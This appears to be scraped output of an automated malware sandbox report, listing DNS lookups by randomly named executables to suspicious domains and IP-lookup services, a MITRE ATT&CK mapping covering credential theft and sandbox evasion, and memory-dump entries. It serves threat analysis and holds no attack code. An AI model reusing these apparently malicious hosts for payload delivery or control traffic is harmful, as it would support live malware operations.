58 B
90 B
1
1

DNS Request

wfsdragon.ru

DNS Response

104.21.5.208

172.67.133.215
8.8.8.8:53

cdn.discordapp.com

dns

64 B
144 B
1
1

DNS Request

cdn.discordapp.com

DNS Response

162.159.129.233

162.159.133.233

162.159.134.233

162.159.135.233

162.159.130.233
8.8.8.8:53

ipinfo.io

dns

bhQhrafoFEtidIZblKt90bck.exe

55 B
71 B
1
1

DNS Request

ipinfo.io

DNS Response

34.117.59.81
8.8.8.8:53

pki.goog

dns

54 B
70 B
1
1

DNS Request

pki.goog

DNS Response

216.239.32.29
8.8.8.8:53

privacytoolz123foryou.xyz

dns

71 B
87 B
1
1

DNS Request

privacytoolz123foryou.xyz

DNS Response

185.183.96.3
8.8.8.8:53

i.spesgrt.com

dns

59 B
91 B
1
1

DNS Request

i.spesgrt.com

DNS Response

172.67.153.179

104.21.88.226
8.8.8.8:53

aa.goatgamea.com

dns

62 B
94 B
1
1

DNS Request

aa.goatgamea.com

DNS Response

104.21.62.66

172.67.221.12
8.8.8.8:53

553835e4-8579-4eef-9487-08e116066fe4.s3.amazonaws.com

dns

99 B
165 B
1
1

DNS Request

553835e4-8579-4eef-9487-08e116066fe4.s3.amazonaws.com

DNS Response

52.216.80.128
8.8.8.8:53

bewidog.cz

dns

56 B
72 B
1
1

DNS Request

bewidog.cz

DNS Response

81.95.96.94
8.8.8.8:53

ip-api.com

dns

cutm3.exe

56 B
72 B
1
1

DNS Request

ip-api.com

DNS Response

208.95.112.1
8.8.8.8:53

bb.goatgameb.com

dns

62 B
94 B
1
1

DNS Request

bb.goatgameb.com

DNS Response

172.67.146.7

104.21.28.120
8.8.8.8:53

crl3.digicert.com

dns

63 B
111 B
1
1

DNS Request

crl3.digicert.com

DNS Response

93.184.220.29
8.8.8.8:53

telegram.org

dns

bhQhrafoFEtidIZblKt90bck.exe

58 B
74 B
1
1

DNS Request

telegram.org

DNS Response

149.154.167.99
8.8.8.8:53

twitter.com

dns

bhQhrafoFEtidIZblKt90bck.exe

57 B
89 B
1
1

DNS Request

twitter.com

DNS Response

104.244.42.129

104.244.42.193
8.8.8.8:53

yandex.ru

dns

bhQhrafoFEtidIZblKt90bck.exe

55 B
119 B
1
1

DNS Request

yandex.ru

DNS Response

77.88.55.50

5.255.255.88

5.255.255.5

77.88.55.88
8.8.8.8:53

crl4.digicert.com

dns

63 B
111 B
1
1

DNS Request

crl4.digicert.com

DNS Response

93.184.220.29
8.8.8.8:53

cleaner-partners.biz

dns

ci1LkzGjtk1ql_cPHyoRvCsR.exe

66 B
82 B
1
1

DNS Request

cleaner-partners.biz

DNS Response

88.119.171.126
8.8.8.8:53

repository.certum.pl

dns

bhQhrafoFEtidIZblKt90bck.exe

66 B
213 B
1
1

DNS Request

repository.certum.pl

DNS Response

104.110.191.14

104.110.191.15
8.8.8.8:53

www.microsoft.com

dns

bhQhrafoFEtidIZblKt90bck.exe

63 B
230 B
1
1

DNS Request

www.microsoft.com

DNS Response

104.85.5.163
8.8.8.8:53

telete.in

dns

r9XwKd07yrWZUcC3fYTW1vvm.exe

55 B
71 B
1
1

DNS Request

telete.in

DNS Response

195.201.225.248
8.8.8.8:53

one-wedding-film.xyz

dns

BId45dG6Le0J4u06BXMdwhCR.exe

66 B
131 B
1
1

DNS Request

one-wedding-film.xyz
8.8.8.8:53

iplogger.org

dns

md8_8eus.exe

58 B
74 B
1
1

DNS Request

iplogger.org

DNS Response

88.99.66.31
8.8.8.8:53

kipriauka.tumblr.com

dns

66 B
98 B
1
1

DNS Request

kipriauka.tumblr.com

DNS Response

74.114.154.22

74.114.154.18
8.8.8.8:53

iplis.ru

dns

54 B
70 B
1
1

DNS Request

iplis.ru

DNS Response

88.99.66.31
8.8.8.8:53

getonlinewoostudio.xyz

dns

68 B
133 B
1
1

DNS Request

getonlinewoostudio.xyz
8.8.8.8:53

nybhfe02.top

dns

58 B
74 B
1
1

DNS Request

nybhfe02.top

DNS Response

135.181.29.254
8.8.8.8:53

w0rkinginstanc3.xyz

dns

65 B
97 B
1
1

DNS Request

w0rkinginstanc3.xyz

DNS Response

172.67.215.35

104.21.61.209
8.8.8.8:53

hypercustom.top

dns

305 B
5

DNS Request

hypercustom.top

DNS Request

hypercustom.top

DNS Request

hypercustom.top

DNS Request

hypercustom.top

DNS Request

hypercustom.top
8.8.8.8:53

a.goatgame.co

dns

59 B
91 B
1
1

DNS Request

a.goatgame.co

DNS Response

172.67.146.70

104.21.79.144
8.8.8.8:53

api.ip.sb

dns

55 B
145 B
1
1

DNS Request

api.ip.sb

DNS Response

104.26.12.31

104.26.13.31

172.67.75.172
8.8.8.8:53

api.ip.sb

dns

55 B
145 B
1
1

DNS Request

api.ip.sb

DNS Response

104.26.12.31

104.26.13.31

172.67.75.172
8.8.8.8:53

hypercustom.top

dns

61 B
77 B
1
1

DNS Request

hypercustom.top

DNS Response

45.132.17.92
8.8.8.8:53

crl.microsoft.com

dns

63 B
162 B
1
1

DNS Request

crl.microsoft.com

DNS Response

23.209.125.81

23.209.125.75

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/112-169-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download
memory/436-165-0x0000000000080000-0x0000000000081000-memory.dmp

Filesize
4KB

Download
memory/796-196-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/796-204-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/832-168-0x0000000000130000-0x0000000000131000-memory.dmp

Filesize
4KB

Download
memory/860-194-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/860-202-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/912-80-0x00000000000D0000-0x00000000000D1000-memory.dmp

Filesize
4KB

Download
memory/912-90-0x0000000001E00000-0x0000000001E02000-memory.dmp

Filesize
8KB

Download
memory/912-135-0x0000000000270000-0x0000000000289000-memory.dmp

Filesize
100KB

Download
memory/968-167-0x0000000001250000-0x0000000001251000-memory.dmp

Filesize
4KB

Download
memory/1208-60-0x0000000076661000-0x0000000076663000-memory.dmp

Filesize
8KB

Download
memory/1208-61-0x0000000003B00000-0x0000000003C3F000-memory.dmp

Filesize
1.2MB

Download
memory/1532-184-0x0000000000FB0000-0x0000000000FB1000-memory.dmp

Filesize
4KB

Download
memory/1652-177-0x0000000000CB0000-0x0000000000CB1000-memory.dmp

Filesize
4KB

Download
memory/1696-198-0x0000000000400000-0x000000000044A000-memory.dmp

Filesize
296KB

Download
memory/1696-206-0x0000000000400000-0x000000000044A000-memory.dmp

Filesize
296KB

Download
memory/1768-162-0x0000000000FD0000-0x0000000001567000-memory.dmp

Filesize
5.6MB

Download
memory/1868-224-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/1868-212-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/1972-180-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

Filesize
4KB

Download
memory/2040-166-0x0000000001360000-0x0000000001361000-memory.dmp

Filesize
4KB

Download
memory/2072-178-0x0000000000B10000-0x0000000000B11000-memory.dmp

Filesize
4KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request